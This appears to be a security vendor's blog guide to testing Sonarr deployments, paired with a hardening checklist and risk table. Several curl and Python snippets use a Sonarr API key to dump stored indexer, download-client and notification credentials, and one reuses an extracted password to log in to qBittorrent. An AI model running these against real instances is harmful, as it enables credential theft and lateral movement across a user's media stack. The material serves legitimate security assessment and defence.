*arr Stack Security

Sonarr Security Testing: API Key, Indexer Credentials, Downloader Integration, and Remote Access

📅 July 3, 2026 ⏱ 12 min read 🏷 Sonarr, arr Stack Security, TV Automation Security, Indexer Credentials, Download Client Security

Sonarr is the most widely deployed self-hosted TV series automation tool, forming the core of the *arr stack alongside Radarr, Lidarr, and Readarr. Its security profile extends beyond Sonarr itself because it stores credentials for every other service in the stack: Sonarr's API key in Settings > General provides full control over the instance including adding/removing series, triggering searches, and accessing all stored credentials; Sonarr stores API keys and passwords for all configured indexers (NZBGeek, NZBFinder, DrunkenSlug, Torznab, Newznab endpoints) in its SQLite database at sonarr.db; Sonarr stores full connection details for all download clients including SABnzbd, qBittorrent, Deluge, and Transmission including host, port, username, and password; and Sonarr's authentication defaults to forms-based login but many home lab deployments disable authentication for local network access, leaving the API and web UI open without credentials. This guide covers systematic Sonarr security assessment including the full *arr credential chain.

API Key Extraction and Full Instance Control
Indexer Credential Extraction
Download Client Credential Extraction
Sonarr Security Hardening

API Key Extraction and Full Instance Control

# Sonarr API — single API key controls full instance
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get Sonarr server configuration (includes version, URL base, authentication type)
curl -s "${SONARR_URL}/api/v3/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Authentication type: {d.get(\"authenticationMethod\")}')
print(f'API key: {d.get(\"apiKey\")}')
print(f'URL base: {d.get(\"urlBase\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
print(f'Port: {d.get(\"port\")}')
" 2>/dev/null

# List all TV series in the library
curl -s "${SONARR_URL}/api/v3/series?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
series = json.load(sys.stdin)
print(f'TV series: {len(series)}')
for s in series[:10]:
    print(f'  {s.get(\"title\")} path={s.get(\"path\")} monitored={s.get(\"monitored\")}')
" 2>/dev/null

# Get all configured notification connections (Discord webhooks, Slack, email, etc.)
curl -s "${SONARR_URL}/api/v3/notification?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
notifs = json.load(sys.stdin)
print(f'Notification agents: {len(notifs)}')
for n in notifs:
    print(f'  {n.get(\"name\")} type={n.get(\"implementationName\")}')
    for field in n.get('fields',[]):
        if any(k in field.get('name','').lower() for k in ['url','token','webhook','api']):
            print(f'    {field.get(\"name\")}: {field.get(\"value\")}')
" 2>/dev/null

Indexer Credential Extraction

# Sonarr indexers — stores API keys and credentials for all configured NZB/torrent indexers
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get all configured indexers with their credentials
curl -s "${SONARR_URL}/api/v3/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Configured indexers: {len(indexers)}')
for idx in indexers:
    print(f'  [{idx.get(\"id\")}] {idx.get(\"name\")} type={idx.get(\"implementationName\")}')
    for field in idx.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fname and fval:
            sensitive = ['apikey','apiKey','passkey','password','username','user','token']
            if any(s.lower() in fname.lower() for s in sensitive):
                print(f'    SENSITIVE {fname}: {fval}')
            elif fname == 'baseUrl':
                print(f'    baseUrl: {fval}')
" 2>/dev/null

# Get indexer schema to understand available fields
curl -s "${SONARR_URL}/api/v3/indexer/schema?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
schemas = json.load(sys.stdin)
print(f'Indexer types: {len(schemas)}')
for s in schemas:
    print(f'  {s.get(\"implementationName\")}')
" 2>/dev/null

Download Client Credential Extraction

# Sonarr download clients — stores full credentials for qBittorrent, SABnzbd, Deluge, etc.
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get all configured download clients with credentials
curl -s "${SONARR_URL}/api/v3/downloadclient?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Download clients: {len(clients)}')
for c in clients:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} type={c.get(\"implementationName\")}')
    for field in c.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and fname:
            # Extract host, port, username, password, API key
            important = ['host','port','username','password','apikey','urlbase','musicCategory','tvCategory']
            if any(k.lower() == fname.lower() for k in important):
                print(f'    {fname}: {fval}')
" 2>/dev/null

# With qBittorrent credentials from Sonarr, authenticate to qBittorrent directly
QB_HOST="qbittorrent-host"
QB_USER="qbittorrent-user"
QB_PASS="extracted-password"
curl -s -c /tmp/qb_cookies.txt \
  -X POST "http://${QB_HOST}:8080/api/v2/auth/login" \
  -d "username=${QB_USER}&password=${QB_PASS}" 2>/dev/null

Sonarr Security Hardening

Sonarr Security Hardening Checklist:

Enable authentication and keep the authentication type set to Forms (not None) — Settings > General > Authentication should never be set to None even on a trusted local network; the API key provides full instance control and is shown in the Settings page, accessible to anyone who can reach the web UI without authentication
Treat the Sonarr API key like a master credential — the Sonarr API key gives access to all stored indexer API keys and download client credentials (username/password for SABnzbd, qBittorrent, Deluge, Transmission); rotate the API key if it may have been exposed in scripts, config backups, or version control
Use API keys for indexers rather than username/password where possible — API keys for indexers (NZBGeek, NZBFinder, etc.) can be rotated independently and usually provide limited scope (search/download only) compared to full account credentials; avoid storing usenet account passwords in Sonarr when an API key alternative exists
Restrict download client access — the download client credentials stored in Sonarr give full access to the download client's management interface including adding/removing downloads and accessing downloaded files; ensure qBittorrent, SABnzbd, and other clients use strong unique passwords and are not accessible from the internet
Secure the Sonarr database file — the sonarr.db SQLite database contains all stored credentials in the Config table; restrict filesystem access to the Sonarr data directory to the Sonarr service account; database backups copied to less secure locations expose all stored credentials
Restrict Sonarr to the local network or VPN — Sonarr is not designed to be internet-facing; if remote access is needed, use a VPN rather than exposing Sonarr directly; behind a reverse proxy, add IP restrictions or HTTP basic auth as an additional layer before the Sonarr forms authentication

Security Test	Method	Risk
API key gives full instance control including credential access	GET /api/v3/config/host?apikey=KEY — returns API key and config; GET /api/v3/indexer?apikey=KEY — returns all indexer credentials; GET /api/v3/downloadclient?apikey=KEY — returns all download client credentials	Critical
Indexer API key extraction (NZBGeek, NZBFinder, etc.)	GET /api/v3/indexer — response includes fields array with apikey, passkey, username, and password for each configured indexer in plaintext	High
Download client credential extraction (qBittorrent, SABnzbd)	GET /api/v3/downloadclient — response includes host, port, username, and password for every configured download client enabling direct authentication to those services	High
No authentication on API key parameter	GET /api/v3/series?apikey=KEY — API accepts key as URL parameter; API key may appear in web server access logs, browser history, and proxy logs exposing it to secondary extraction	Medium
Notification agent credential extraction	GET /api/v3/notification — returns configured notification agents including Discord webhooks, Slack tokens, Pushover API keys, and email SMTP credentials stored for episode download notifications	Medium
SQLite database credential access	Read sonarr.db Config table — all credentials stored in cleartext; accessible if filesystem access to the data directory is obtained via another vulnerability (e.g. path traversal in another service)	High

Automate Sonarr Security Testing

Ironimo tests Sonarr deployments for API key exposure giving full instance control, indexer credential extraction revealing NZBGeek/NZBFinder API keys and passwords, download client credential extraction exposing qBittorrent and SABnzbd username/password pairs, notification agent credential extraction, authentication bypass when authentication type is set to None, and database file access exposing all stored credentials.

Start free scan

Table of Contents

API Key Extraction and Full Instance Control

Indexer Credential Extraction

Download Client Credential Extraction

Sonarr Security Hardening

Automate Sonarr Security Testing